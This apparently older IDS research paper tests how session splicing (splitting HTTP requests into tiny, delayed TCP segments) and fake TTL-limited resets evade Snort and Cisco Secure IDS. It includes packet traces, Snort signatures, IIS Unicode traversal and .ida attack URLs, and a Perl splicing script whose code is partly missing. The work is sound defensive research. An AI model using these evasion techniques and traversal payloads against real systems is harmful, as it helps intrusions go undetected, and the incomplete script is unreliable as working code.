Intrusion Detection FAQ: How does an attacker evade IDS with Session Splicing?

By: Kevin Timm
IDS vendors have made tremendous gains in defeating IDS evasion techniques within the past two years, especially where string matching and string obfuscation is concerned. Evasion techniques that are network based are not as easy for an IDS to defend against as string obfuscation techniques. These network level evasion techniques were first brought to the forefront in the landmark 1998 research paper "Insertion, Evasion and Denial of Service: Eluding Network Intrusion Detection" by Thomas Ptacek and Timothy Newsham[1]. The paper details specific network level problems specifically with fragmentation and session re-assembly. Recently tools such as Whisker by RainForestPuppy[2] and Nessus[3] the vulnerability scanner have implemented session splicing techniques. Many techniques outlined by Ptacek and Newsham are common to both fragmentation and session splicing. Session splicing, because it involves a session is useful only when the payload can be delivered over multiple packets where fragmentation can be used with all protocols. This paper will focus on IDS evasion using session splicing timeouts and to a lesser degree rule alerting and first exit problems that session splicing can create.

The basic premise behind session splicing is to deliver the payload over multiple packets thus defeating simple pattern matching without session reconstruction. This payload can be delivered in many different manners and even spread out over a long period of time. Currently, Whisker and Nessus have session splicing capabilities, and other tools exist in the wild (see detect #1 from the detects section). I have created a perl script that I will use to demonstrate many of these techniques. A trademark of a spliced session is a continuous stream of small packets. The network trace below shows a standard spliced session. For readability, this request has been abbreviated removing bytes nine thru 31.

Trademark Session Splice

17:06:22.252252 > W.X.Y.106.80: S 848344882:848344882(0) win 5840 <mss 1460,sackOK,timestamp 3152623[|tcp]> (DF) (ttl 64, id 44509, len 60)

17:06:22.292252 W.X.Y.106.80 > S 268545229:268545229(0) ack 848344883 win 5792 <mss 1460,sackOK,timestamp 17985824[|tcp]> (DF) (ttl 53, id 0, len 60)

17:06:22.292252 > W.X.Y.106.80: . [tcp sum ok] ack 1 win 5840 <nop,nop,timestamp 3152627 17985824> (DF) (ttl 64, id 44510, len 52)

17:06:22.292252 > W.X.Y.106.80: P [tcp sum ok] 1:2(1) ack 1 win 5840 <nop,nop,timestamp 3152627 17985824> (DF) (ttl 64, id 44511, len 53)

17:06:22.342252 W.X.Y.106.80 > . [tcp sum ok] ack 2 win 5792 <nop,nop,timestamp 17985829 3152627> (DF) (ttl 53, id 56810, len 52)

17:06:22.492252 > W.X.Y.106.80: P [tcp sum ok] 2:3(1) ack 1 win 5840 <nop,nop,timestamp 3152647 17985829> (DF) (ttl 64, id 44512, len 53)

17:06:22.532252 W.X.Y.106.80 > . [tcp sum ok] ack 3 win 5792 <nop,nop,timestamp 17985848 3152647> (DF) (ttl 53, id 56811, len 52)

17:06:22.692252 > W.X.Y.106.80: P [tcp sum ok] 3:4(1) ack 1 win 5840 <nop,nop,timestamp 3152667 17985848> (DF) (ttl 64, id 445F13, len 53)

17:06:22.732252 W.X.Y.106.80 > . [tcp sum ok] ack 4 win 5792 <nop,nop,timestamp 17985868 3152667> (DF) (ttl 53, id 56812, len 52)

17:06:22.892252 > W.X.Y.106.80: P [tcp sum ok] 4:5(1) ack 1 win 5840 <nop,nop,timestamp 3152687 17985868> (DF) (ttl 64, id 44514, len 53)

17:06:22.932252 W.X.Y.106.80 > . [tcp sum ok] ack 5 win 5792 <nop,nop,timestamp 17985888 3152687> (DF) (ttl 53, id 56813, len 52)

17:06:23.092252 > W.X.Y.106.80: P [tcp sum ok] 5:6(1) ack 1 win 5840 <nop,nop,timestamp 3152707 17985888> (DF) (ttl 64, id 44515, len 53)

17:06:23.122252 W.X.Y.106.80 > . [tcp sum ok] ack 6 win 5792 <nop,nop,timestamp 17985908 3152707> (DF) (ttl 53, id 56814, len 52)

17:06:23.292252 > W.X.Y.106.80: P [tcp sum ok] 6:7(1) ack 1 win 5840 <nop,nop,timestamp 3152727 17985908> (DF) (ttl 64, id 44516, len 53)

17:06:23.332252 W.X.Y.106.80 > . [tcp sum ok] ack 7 win 5792 <nop,nop,timestamp 17985928 3152727> (DF) (ttl 53, id 56815, len 52)

17:06:23.492252 > W.X.Y.106.80: P [tcp sum ok] 7:8(1) ack 1 win 5840 <nop,nop,timestamp 3152747 17985928> (DF) (ttl 64, id 44517, len 53)

17:06:23.532252 W.X.Y.106.80 > . [tcp sum ok] ack 8 win 5792 <nop,nop,timestamp 17985948 3152747> (DF) (ttl 53, id 56816, len 52)

17:06:28.292252 > W.X.Y.106.80: P [tcp sum ok] 31:32(1) ack 1 win 5840 <nop,nop,timestamp 3153227 17986408> (DF) (ttl 64, id 44541, len 53)

17:06:28.322252 W.X.Y.106.80 > . [tcp sum ok] ack 32 win 5792 <nop,nop,timestamp 17986428 3153227> (DF) (ttl 53, id 56840, len 52)

17:06:28.492252 > W.X.Y.106.80: P [tcp sum ok] 32:33(1) ack 1 win 5840 <nop,nop,timestamp 3153247 17986428> (DF) (ttl 64, id 44542, len 53)

17:06:28.532252 W.X.Y.106.80 > . [tcp sum ok] ack 33 win 5792 <nop,nop,timestamp 17986448 3153247> (DF) (ttl 53, id 56841, len 52)

17:06:28.692252 > W.X.Y.106.80: P 33:83(50) ack 1 win 5840 <nop,nop,timestamp 3153267 17986448> (DF) (ttl 64, id 44543, len 102)

17:06:28.732252 W.X.Y.106.80 > . [tcp sum ok] ack 83 win 5792 <nop,nop,timestamp 17986468 3153267> (DF) (ttl 53, id 56842, len 52)

17:06:28.732252 W.X.Y.106.80 > F [tcp sum ok] 566:566(0) ack 83 win 5792 <nop,nop,timestamp 17986468 3153267> (DF) (ttl 53, id 56844, len 52)

17:06:28.732252 > W.X.Y.106.80: . ack 1 win 5840 <nop,nop,timestamp 3153271 17986468,nop,nop,[|tcp]> (DF) (ttl 64, id 44544, len 64)

17:06:28.742252 W.X.Y.106.80 > P 1:566(565) ack 83 win 5792 <nop,nop,timestamp 17986468 3153267> (DF) (ttl 53, id 56843, len 617)

17:06:28.742252 > W.X.Y.106.80: . [tcp sum ok] ack 567 win 6780 <nop,nop,timestamp 3153272 17986468> (DF) (ttl 64, id 44545, len 52)

17:06:28.742252 > W.X.Y.106.80: F [tcp sum ok] 83:83(0) ack 567 win 6780 <nop,nop,timestamp 3153272 17986468> (DF) (ttl 64, id 44546, len 52)

17:06:28.792252 W.X.Y.106.80 > . [tcp sum ok] ack 84 win 5792 <nop,nop,timestamp 17986474 3153272> (DF) (ttl 53, id 56845, len 52)

At first this may seem easy to defend against by just checking for abnormally small packets. However, this is not the case because these are packets with the ACK flag set and packets with the ACK flag set are normally very small and contain no payload. This makes detection under normal traffic more difficult.

For testing and comparison, a lab was constructed that contains three hosts on the same broadcast domain. The initial setup of the lab was as follows using Snort, Cisco Secure IDS and a Windows 2000 web server running Entercept 2.01 host IDS agent.

A full description of the Cisco IDS log format and signatures used in these examples can be found in Appendix B. It should be noted that all request returned a page of some sort from the web server.

Lab Setup
Host Type IP Version Function
Cisco Secure IDS W.X.Y.123 3.1 Beta IDS Only
Snort Sensor W.X.Y.122 Snort 1.8.6 / RH 7.2 IDS / Apache Web Server
Windows Host IDS W.X.Y.124 W2K Server / Entercept 2.01 IIS Web Server

HIDS Agent

Several different requests were sent using the tool. Tables depict the request, which is the web request, splice size in bytes and timing in seconds with the associated logs from the devices. These attacks were sent from the ip Note: organization specific information has been X out in the Cisco IDS logs.

Detecting Session splicing with string matching IDS is very challenging. It is not possible to create signatures that just look for small packets with the ACK flag set since this occurs abundantly in normal traffic. Signatures must look do some payload comparison. Snort has several signatures to detect the tool Whisker session splices.

Snort Session Splicing Signature 1
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-MISC whisker splice attack"; content: "|20|"; flags: A+; dsize: 1;reference:arachnids,296; classtype:attempted-recon; sid:1104; rev:1;)

Snort Session Splicing Signature 2
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-MISC whisker splice attack"; dsize: <5; flags: A+; content: "|09|";reference:arachnids,415; classtype:attempted-recon; sid:1087; rev:1;)

The first signature looks for 0x20 (a space) in the first 2 bytes of a packet with ack flags set and directed toward the defined variable $HTTP_SERVERS. The second signature looks for 0x09 (tab) within the first six bytes of a packet with ACK flags set directed toward the defined variable $HTTP_SERVERS. These signatures catch the default Whisker session splicing usage usage fine. However, these rules can be evaded by splicing the session differently. The tool allows different values to be specified for the payload size to be delivered. It should be pointed out that is written for HTTP traffic, however the basic premise of session splicing extends into all TCP protocols.

Example 1: Non Malicious Spliced request
Request Splice Size (bytes) Timing (seconds)
Get /index.html HTTP/1.0\r\n 1 .20
Cisco IDS Logs
None Available

Snort Logs

04/09-22:07:34.680000  [**] [1:1104:1] WEB-MISC whisker splice attack [**]
[Classification: Attempted Information Leak] [Priority: 2] {TCP} -> W.X.Y.124:80

04/09-22:07:36.480000  [**] [1:1104:1] WEB-MISC whisker splice attack [**]
[Classification: Attempted Information Leak] [Priority: 2] {TCP} -> W.X.Y.124:80

04/09-22:07:36.560000  [**] [1:0:0] Session Splice WEB [**] [Classification:
Potentially Bad Traffic] [Priority: 2] {TCP} -> W.X.Y.124:80

04/09-22:07:37.370000  [**] [1:0:0] Session Splice WEB [**] [Classification:
Potentially Bad Traffic] [Priority: 2] {TCP} -> W.X.Y.124:80

What we can ascertain from the initial test is that the Cisco IDS has no default check for generic Whisker style (1 byte) session splicing if there is not a malicious payload associated with the request. Snort generated four alerts associated with two signatures, one of which is associated with Whisker and one signature that is a custom generic splicing signature that I developed, which will be detailed later.

To avoid the standard Whisker signatures an attacker can increase the size of the spliced packets as demonstrated below.

Session splicing with larger payloads

23:56:36.991823 > W.X.Y.124.80: S 3136238607:3136238607(0) win 5840 <mss 1460,sackOK,timestamp 15635196[|tcp]> (DF)

23:56:37.091823 W.X.Y.124.80 > S 1360132749:1360132749(0) ack 3136238608 win 17520 <mss 1460,nop,wscale 0,nop,nop,timestamp[|tcp]> (DF)

23:56:37.091823 > W.X.Y.124.80: . ack 1 win 5840 <nop,nop,timestamp 15635206 0> (DF)

23:56:37.091823 > W.X.Y.124.80: P 1:3(2) ack 1 win 5840 <nop,nop,timestamp 15635206 0> (DF)

23:56:37.301823 W.X.Y.124.80 > . ack 3 win 17518 <nop,nop,timestamp 3198390 15635206> (DF)

23:56:38.091823 > W.X.Y.124.80: P 3:5(2) ack 1 win 5840 <nop,nop,timestamp 15635306 3198390> (DF)

23:56:38.311823 W.X.Y.124.80 > . ack 5 win 17516 <nop,nop,timestamp 3198400 15635306> (DF)

23:56:39.091823 > W.X.Y.124.80: P 5:7(2) ack 1 win 5840 <nop,nop,timestamp 15635406 3198400> (DF)

23:56:39.311823 W.X.Y.124.80 > . ack 7 win 17514 <nop,nop,timestamp 3198410 15635406> (DF)

23:56:40.091823 > W.X.Y.124.80: P 7:9(2) ack 1 win 5840 <nop,nop,timestamp 15635506 3198410> (DF)

Example 2: Splicing with larger splices
Request Splice Size (bytes) Timing (seconds)
/index.html 2 1
Cisco IDS Logs
None Available

Snort Logs

04/10-00:52:06.690000  [**] [1:0:0] Session Splice WEB [**] [Classification:
Potentially Bad Traffic] [Priority: 2] {TCP} -> W.X.Y.124:80

04/10-00:52:09.680000  [**] [1:0:0] Session Splice WEB [**] [Classification:
Potentially Bad Traffic] [Priority: 2] {TCP} -> W.X.Y.124:80

This successfully defeats Snorts Whisker based evasion signatures. To write a signature to detect this evasion technique, it is required that the IDS look for smaller packets with the ACK flag set and some content. There must be some content associated with the packet otherwise the signature will trigger on all associated ACK packets. The generic splicing rule below will work.

Generic Session Splicing rule
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"Generic Session Splice ATTACK"; uricontent: "H"; flags: A+; dsize: <16; classtype:bad-unknown;)

This particular signature detects any URI with a content of "H" and a dsize of less than 17 bytes. This should catch any web request that does not conform to "$METHOD / HTTP/1.0\r\n\" where $METHOD is equivalent to any HTTP method. The "H" was chosen because it is necessary in the HTTP request. This is still quite easy to evade by padding the URI with self referencing "./"directories, using a tab delimiter (Apache) or a space (IIS and Apache) and Nulls (IIS). This example will use the ida overflow URL since it does not require a specific URL for the attack to be successful. The Snort signature for the ida overflow is as follows

Snort ida overflow signature
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-IIS ISAPI .ida attempt"; uricontent:".ida?"; nocase; dsize:>239; flags:A+; reference:arachnids,552; classtype:web-application-attack; reference:cve,CAN-2000-0071; sid:1243; rev:2;)

This signature looks for the URI content of ida? with a size of 240 bytes. There are a couple methods that can evade this. One method is to splice the payload into requests that are larger, such as 18 bytes, thus evading the string match. Now this signature could be re-written to only look for ida? and not require a length of 240 bytes. This signature will then trigger on normal traffic and create false alarms. Since this attack does not require a specific URI to be requested, an attacker could front load the request with bogus data to create a longer URI. To make this work we need to calculate the amount of characters needed to have the “H” fall into an 18 byte slice. We needed four bytes at the front of our request so the request ends up looking like the request below.

Request for Example 3:
./ -h W.X.Y.124 -r "/NNNN.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xx" -t 1 -s 18

Example 3: Using padding to evade session signatures
Request Splice Size (bytes) Timing (seconds)
Above Example 3 1 18
Cisco IDS Logs


Snort Logs

04/10-20:17:46.150000  [**] [1:1242:2] WEB-IIS ISAPI .ida access [**] [Classification:
access to a potentually vulnerable web application] [Priority: 2] {TCP} -> W.X.Y.124:80

Notice that Cisco Secure IDS successfully detects the true attack with a signature which depicts the true threat. Snort detects ida access, but does not trigger the attack signature that it should. Even though Snort alerts this alert appears less threatening than it really is.

Session Re-assembly needed
Session splicing signatures for string matching IDS devices are proven inadequate. Sessions must be re-assembled before comparison or else they will fail.

Several different attacks were sent to the victim host for testing purposes.

In these examples, a malicious Unicode request was sent to the victim host. This signature was chosen because it’s almost identical on Cisco and Snort. Cisco detects three signatures 3215, 5114 and 3216. These are all associated with general Unicode activity. Signature 5114 detects Unicode characters while signatures 3215 and 3216 detect the “/../” activity. Using 1 byte session splices, Snort only detected the previously mentioned session splicing signatures. This is an example of Snort’s use of first exit rules.

Example 4: Malicious Spliced request
Request Splice Size (bytes) Timing (seconds)

GET /scripts/..%c0%af../ HTTP/1.0\r\n



Cisco IDS Logs


TCP/IP,,W.X.Y.124,33194,80,,URL with /..,474554202F736372697074732F2E2EZZ



Snort Logs

04/09-22:57:56.090000  [**] [1:1104:1] WEB-MISC whisker splice attack [**]
[Classification: Attempted Information Leak] [Priority: 2] {TCP} -> W.X.Y.124:80

04/09-22:58:06.590000  [**] [1:1104:1] WEB-MISC whisker splice attack [**]
[Classification: Attempted Information Leak] [Priority: 2] {TCP} -> W.X.Y.124:80

04/09-22:58:07.090000  [**] [1:0:0] Session Splice WEB [**] [Classification:
Potentially Bad Traffic] [Priority: 2] {TCP} -> W.X.Y.124:80

Using larger slices, we can evade the splicing signatures but are picked up by Snort’s normal signatures. Cisco alerts to the true attack.

Example 5: Session Splicing using larger splices
Request Splice Size Timing

GET /scripts/..%c0%af../     HTTP/1.0\r\n



Cisco IDS Logs

TCP/IP,,W.X.Y.124,32783,80,,URL with /..,474554202F73



Snort Logs

04/10-21:12:38.140000  [**] [1:1113:1] WEB-MISC http directory traversal [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} -> W.X.Y.124:80

04/10-21:12:38.640000  [**] [1:0:0] Abnormal WEB Request [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} -> W.X.Y.124:80

04/10-21:12:39.360000  [**] [1:1287:2] WEB-IIS scripts access [**] [Classification: access to a potentually vulnerable web application] [Priority: 2] {TCP} -> W.X.Y.124:8

The next attempt both IDS devices alert fine. This attack uses two byte splices and slightly delayed time sequences of one second. I think some assumptions can now be made. Both Snort and Cisco have some session re-assembly capabilities. Snort, however will alert differently for the same attack depending on techniques used. This has to do with how Snort determines which rule it will alert on.

Example 6: Smaller Splice time delayed padded HTTP
Request Splice Size Timing

GET /scripts/..%c0%af../     HTTP/1.0\r\n



Cisco IDS Logs

TCP/IP,,W.X.Y.124,33234,80,,URL with /..,474554202F736372697074732F2E2E25ZZ



Snort Logs

04/09-23:29:32.280000  [**] [1:1113:1] WEB-MISC http directory traversal [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} -> W.X.Y.124:80

04/09-23:29:34.380000  [**] [110:4:1] spp_unidecode: Invalid Unicode String detected [**] {TCP} -> W.X.Y.124:80

04/09-23:37:51.590000  [**] [1:1287:2] WEB-IIS scripts access [**] [Classification: access to a potentually vulnerable web application] [Priority: 2] {TCP} -> W.X.Y.124:80

The next example the HTTP portion of the request was padded to avoid triggering the generic splicing rule. The splices remain at 2 bytes. The time between splices was moved to 20 seconds. Snort appears to time out some of the request because this time a different alert is received. Snort must have been able to only re-assemble a portion of the attack.

Example 7: Smaller Slices, padded HTTP, longer time
Request Splice Size Timing

GET /scripts/..%c0%af../     HTTP/1.0\r\n



Cisco IDS Logs

TCP/IP,,W.X.Y.124,33236,80,,URL with/..,474554202F736372697074732F2E2E25ZZ



Snort Logs
04/09-23:50:59.380000  [**] [1:1287:2] WEB-IIS scripts access [**] [Classification: access to a potentually vulnerable web application] [Priority: 2] {TCP} -> W.X.Y.124:80

In a default configuration, Snort appears to time out requests after a certain amount of time. Cisco is still seeing the alerts. The following request still uses two byte splices, but the time between splices is increased to 45 seconds.

Example 8: 2 Byte splices delayed by 45 seconds
Request Splice Size Timing

GET /scripts/..%c0%af../     HTTP/1.0\r\n



Cisco IDS Logs

0,TCP/IP,,W.X.Y.124,33239,80,,URL with /..,4745474554202F7363726372697074732F2E2E25ZZ



Snort Logs
None available

Increasing the time further will eventually evade Cisco Secure IDS.

Example 9: 2 Byte splices delayed by 100 seconds
Request Splice Size Timing

GET /scripts/..%c0%af../     HTTP/1.0\r\n



Cisco IDS Logs
None Available

Snort Logs
None Available

In basic session splicing attacks where the hosts reside on the same broadcast domain it is possible to evade the IDS by not using the default one byte splice and delaying the attack significantly. The reason different Snort signatures will trigger, which can make an attack seem less threatening is because of Snort’s first exit rule. I suspected the problem was in the way rules were passed through the detection engine for comparison. I posted an email to Snort-Devel mail list and received this response from Martin Roesch the founder of Snort.

“If you want the single-byte detects for the real scripts that are being accessed, turn off the rule that's going off, that's Snort's "first exit" engine doing it's job. If you want to extend the tracking time for a session, increase the default timeout value for the stream4 preprocessor:

preprocessor stream4: timeout 3600, detect_scans”

This helps explain why different Snort rules would trigger under different circumstances. I did some basic testing with turning of the session splicing rules and setting the timeout longer. Snort does a better job off detecting the true attack without the evasion signatures. However, the early exit rule still causes a Unicode cmd.exe attack to be seen as scripts access, and other attacks such as .ida to be misdiagnosed depending on how the splices fall and their timing.

Whether these methods are successful when an IDS employs session re-assembly is somewhat host and application dependent. In testing, Apache on RedHat sessions, time out in six minutes while IIS on Windows 2000 doesn’t appear to timeout in any reasonable amount of time. This timeout of six minutes by Apache makes time based evasion more difficult when the host is on the same broadcast domain as the victim. To remove the broadcast domain, the web server was given a new IP behind a router one additional hop from the sensors.

Lab Setup 2
Host Type IP Version Function
Snort Sensor W.X.Y.122 Snort 1.8.6 / RH 7.2 IDS / Apache Web Server
Cisco Secure IDS W.X.Y.123 3.1 Beta IDS Only
Windows Host IDS W.X.Y.108 W2K Server / Entercept 2.01 IIS Web Server

HIDS Agent
Cisco 3600 Router W.X.Y.125 IOS Router

The victim host and IDS devices are now not on the same broadcast domain. The victim host is also now one extra hop away. To help expedite the test, a simple custom signature was created on both IDS devices to alarm on the URL foo.htm. This was done to avoid triggering any alarms on the Entercept HIDS agent and to avoid any first exit rules.

Test Signature Snort:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-IIS   kevin foo test access"; flags: A+; uricontent:"foo.htm"; nocase; classtype:web-application-attack; sid: 1256; rev:2;)

Test Signature Cisco Secure IDS # 30001:
Engine STATE.HTTP SIGID 30001 AlarmThrottle FireOnce ChokeThreshold ANY DeObfuscate True Direction ToService MinHits 1 ResetAfterIdle 15 ServicePorts 80,3128,8000,8010,8080,8888,24326 SigName foo ThrottleInterval 15 UriRegex foo.htm

To test that re-assembly was working well, and there were no other problems prohibiting proper alarming, a quick test was run sending 6 byte splices quickly.

Both devices alarmed properly without a problem.

Test 1: Session 1 Fast

18:36:12.746266 > W.X.Y.108.80: S 332613146:332613146(0) win 5840 <mss 1460,sackOK,timestamp 78415572[|tcp]> (DF) (ttl 64, id 49358, len 60)

18:36:12.906266 W.X.Y.108.80 > S 2058514897:2058514897(0) ack 332613147 win 17520 <mss 1460,nop,wscale 0,nop,nop,timestamp[|tcp]> (DF) (ttl 116, id 2480, len 64)

18:36:12.906266 > W.X.Y.108.80: . [tcp sum ok] ack 1 win 5840 <nop,nop,timestamp 78415588 0> (DF) (ttl 64, id 49359, len 52)

18:36:12.906266 > W.X.Y.108.80: P 1:8(7) ack 1 win 5840 <nop,nop,timestamp 78415588 0> (DF) (ttl 64, id 49360, len 59)

18:36:13.146266 W.X.Y.108.80 > . [tcp sum ok] ack 8 win 17513 <nop,nop,timestamp 90556 78415588> (DF) (ttl 116, id 2481, len 52)

18:36:13.906266 > W.X.Y.108.80: P 8:14(6) ack 1 win 5840 <nop,nop,timestamp 78415688 90556> (DF) (ttl 64, id 49361, len 58)

18:36:14.156266 W.X.Y.108.80 > . [tcp sum ok] ack 14 win 17507 <nop,nop,timestamp 90566 78415688> (DF) (ttl 116, id 2482, len 52)

18:36:14.906266 > W.X.Y.108.80: P 14:20(6) ack 1 win 5840 <nop,nop,timestamp 78415788 90566> (DF) (ttl 64, id 49362, len 58)

18:36:15.156266 W.X.Y.108.80 > . [tcp sum ok] ack 20 win 17501 <nop,nop,timestamp 90576 78415788> (DF) (ttl 116, id 2483, len 52)

18:36:15.906266 > W.X.Y.108.80: P 20:71(51) ack 1 win 5840 <nop,nop,timestamp 78415888 90576> (DF) (ttl 64, id 49363, len 103)

18:36:16.156266 W.X.Y.108.80 > . [tcp sum ok] ack 71 win 17450 <nop,nop,timestamp 90586 78415888> (DF) (ttl 116, id 2492, len 52)

18:36:16.446266 W.X.Y.108.80 > . 1:1449(1448) ack 71 win 17450 <nop,nop,timestamp 90587 78415888> (DF) (ttl 116, id 2493, len 1500)

18:36:16.446266 > W.X.Y.108.80: . [tcp sum ok] ack 1449 win 8688 <nop,nop,timestamp 78415942 90587> (DF) (ttl 64, id 49364, len 52)

18:36:16.546266 W.X.Y.108.80 > . 1449:2897(1448) ack 71 win 17450 <nop,nop,timestamp 90587 78415888> (DF) (ttl 116, id 2494, len 1500)

18:36:16.546266 W.X.Y.108.80 > . 2897:2921(24) ack 71 win 17450 <nop,nop,timestamp 90588 78415888> (DF) (ttl 116, id 2495, len 76)

18:36:16.546266 > W.X.Y.108.80: . [tcp sum ok] ack 2897 win 11584 <nop,nop,timestamp 78415952 90587> (DF) (ttl 64, id 49365, len 52)

18:36:16.546266 > W.X.Y.108.80: . [tcp sum ok] ack 2921 win 11584 <nop,nop,timestamp 78415952 90588> (DF) (ttl 64, id 49366, len 52)

18:36:16.576266 W.X.Y.108.80 > FP 2921:3397(476) ack 71 win 17450 <nop,nop,timestamp 90589 78415942> (DF) (ttl 116, id 2496, len 528)

18:36:16.576266 > W.X.Y.108.80: F [tcp sum ok] 71:71(0) ack 3398 win 14480 <nop,nop,timestamp 78415955 90589> (DF) (ttl 64, id 49367, len 52)

18:36:16.656266 W.X.Y.108.80 > . [tcp sum ok] ack 72 win 17450 <nop,nop,timestamp 90590 78415955> (DF) (ttl 116, id 2497, len 52)

Cisco IDS Logs



Snort Logs

04/30-19:33:46.690000  [**] [1:1256:2] WEB-IIS  kevin foo test access [**] [Classification: Web Application Attack] [Priority: 1] {TCP} -> W.X.Y.108:80

Both the devices alerted on the custom signatures while using basic session splicing techniques. The Cisco device alerted on a signature 3000 which is a TCP connection and signature 30001 which is the custom foo.htm signature. This proves session re-assembly is working correctly on both devices. The following evasion technique takes advantage of inherent network problems as described by Newsham and Ptacek[1] and Vern Paxson and Mark Handley in their paper “Network Intrusion Detection: Evasion, Traffic Normalization, and End-to End Protocol Semantics”[4]. The following test was done.
  • Fake resets
To understand the fake reset, the basic principle is to send a reset packet with a low TTL value destined to the host that the IDS will see and understand as a session teardown but will timeout before the host. The next logs are from a fake reset, which Snort is and Cisco are both susceptible to. There are other evasion techniques similar to this one that can be used when a host is more hops away. These techniques for splicing all take advantage of a fake packet timing out before it gets to the host. Using these techniques on can send multiple packets containing the same data, hoping the IDS will use the incorrect data to perform analysis. Only fake reset packets were tested, since all techniques work on the same premise. Note the timing was set a longer timeout to give myself time to craft the reset packet using HPING2. The inserted reset and its associated response (from the router icmp ttl exceeded message) are highlighted in red.

Test 2: Fake Reset Successful

18:43:34.316266 > W.X.Y.108.80: S 788083420:788083420(0) win 5840 <mss 1460,sackOK,timestamp 78459729[|tcp]> (DF)

18:43:34.386266 W.X.Y.108.80 > S 2169462490:2169462490(0) ack 788083421 win 17520 <mss 1460,nop,wscale 0,nop,nop,timestamp[|tcp]> (DF)

18:43:34.386266 > W.X.Y.108.80: . ack 1 win 5840 <nop,nop,timestamp 78459736 0> (DF)

18:43:34.386266 > W.X.Y.108.80: P 1:8(7) ack 1 win 5840 <nop,nop,timestamp 78459736 0> (DF)

18:43:34.596266 W.X.Y.108.80 > . ack 8 win 17513 <nop,nop,timestamp 94970 78459736> (DF)

18:43:57.116266 > W.X.Y.108.80: R 788083428:788083428(0) win 512

18:43:57.196266 W.X.Y.125 > icmp: time exceeded in-transit [tos 0xc0]

18:44:04.386266 > W.X.Y.108.80: P 8:14(6) ack 1 win 5840 <nop,nop,timestamp 78462736 94970> (DF)

18:44:04.636266 W.X.Y.108.80 > . ack 14 win 17507 <nop,nop,timestamp 95271 78462736> (DF)

18:44:34.386266 > W.X.Y.108.80: P 14:20(6) ack 1 win 5840 <nop,nop,timestamp 78465736 95271> (DF)

18:44:34.586266 W.X.Y.108.80 > . ack 20 win 17501 <nop,nop,timestamp 95570 78465736> (DF)

18:45:04.386266 > W.X.Y.108.80: P 20:71(51) ack 1 win 5840 <nop,nop,timestamp 78468736 95570> (DF)

18:45:04.566266 W.X.Y.108.80 > . 1:1449(1448) ack 71 win 17450 <nop,nop,timestamp 95868 78468736> (DF)

18:45:04.566266 > W.X.Y.108.80: . ack 1449 win 8688 <nop,nop,timestamp 78468754 95868> (DF)

18:45:04.666266 W.X.Y.108.80 > . 1449:2897(1448) ack 71 win 17450 <nop,nop,timestamp 95868 78468736> (DF)

18:45:04.666266 W.X.Y.108.80 > . 2897:2921(24) ack 71 win 17450 <nop,nop,timestamp 95868 78468736> (DF)

18:45:04.666266 > W.X.Y.108.80: . ack 2897 win 11584 <nop,nop,timestamp 78468764 95868> (DF)

18:45:04.666266 > W.X.Y.108.80: . ack 2921 win 11584 <nop,nop,timestamp 78468764 95868> (DF)

18:45:04.696266 W.X.Y.108.80 > FP 2921:3397(476) ack 71 win 17450 <nop,nop,timestamp 95870 78468754> (DF)

18:45:04.706266 > W.X.Y.108.80: F 71:71(0) ack 3398 win 14480 <nop,nop,timestamp 78468768 95870> (DF)

18:45:04.776266 W.X.Y.108.80 > . ack 72 win 17450 <nop,nop,timestamp 95871 78468768> (DF)

Cisco IDS Logs



Snort Logs
None Available

Both IDS devices were susceptible to this fake reset attack. Snort logged nothing while Cisco Secure IDS only logged a signature 3000 connection request and a 2005 ICMP destination unreachable message. It should be noted that Snort developers are currently working to defeat this style of network evasion through the use of assigning a minimum TTL required for assembly of the session. Much of this has been driven by the recent release of a tool by Dug Song called fragroute[5] which tests many of the fragmentation problems described by Newsham and Ptacek[1].

Several different session splicing evasion techniques have been demonstrated with varying degrees of success. Most of the techniques that are available with fragmentation can be used to some degree with splicing. The following table summarizes some of the similarities between fragmentation and splicing and denotes whether I had any success in limited testing.

A comparison of fragmentation and session splicing evasion techniques:
Technique Fragmentation Session Splicing Successful in limited testing
Splitting payload Yes Yes Limited
Data overwrite Yes Yes Not tested
Data Insertion Yes Yes Not tested
Fake Reset Teardown Yes Yes Yes
Delayed delivery Limited Yes Yes
Trigger less threatening rules Yes Yes Yes

The reality is that many network level problems still exist and are very difficult for devices to handle without traffic normalization unless the device uses “bifurcating analysis”[4] techniques which means that if an IDS detects traffic which has possible multiple interpretations it will apply all interpretations to the analysis and alarm if any match a signature. Still, the use of session splicing timeouts presents a unique problem for the IDS. If a host operating system will keep the session alive for a very long period of time, than the IDS must do the same. IDS designers recently have made tremendous strides in defeating string matching evasion techniques; now network level techniques are being addressed.

[1] Ptacek, Thomas and Newsham, Timothy Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection January, 1998. URL:
[2] Puppy, Rain Forest A look at whisker’s anti-IDS tactics December 24, 1999. URL:

[3] Arboi, Michel and Deraison, Renaud Using Nessus’s NIDS evasion features 2002, URL:

[4] Handley, Mark Paxson, Vern and Kreibich, Christian Network Intrusion Detection: Evasion, Traffic Normalization, and End-to-End Protocol Semantics May 22, 2001. URL:

[5] Song, Dug Fragroute, April, 2002. URL:

Appendix A:

use Socket;
use Getopt::Std;

require '';
if (!$opt_h || !$opt_t || !$opt_r) {
     exit 1;

sub usage {
     print "\tUSAGE: splicer -h -r -t -s\n\n";
     print "\t************Notes***********\n";
     print "\t***Apache times out a unfinished request in 6 minutes\n";
     print "\t***IIS doesn't appear to have such a timeout\n";
     print "\t***If no splice size is specified it will send 1 byte at a time\n\n";

if ($opt_s == NULL) {

$req="GET $opt_r HTTP/1.0\r\n";

$header="Host: $host\r\nUser-Agent: Session-Splice\r\n\r\n";

socket(SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$addr = sockaddr_in(80, inet_aton($host));
connect(SERVER, $addr);
select(SERVER); $|=1;

# Send packet
foreach $char (@greq) {

     chomp $char;
     if ($i == $size) {
     print SERVER @new;
     $i = 0;
     } else {

print SERVER "$header";

# Parse our requesr
do {
     $line = <SERVER>
     until ($line =~ /^\r\n/);
     @output = <SERVER>;
     close (SERVER) ;
     print "@output\n";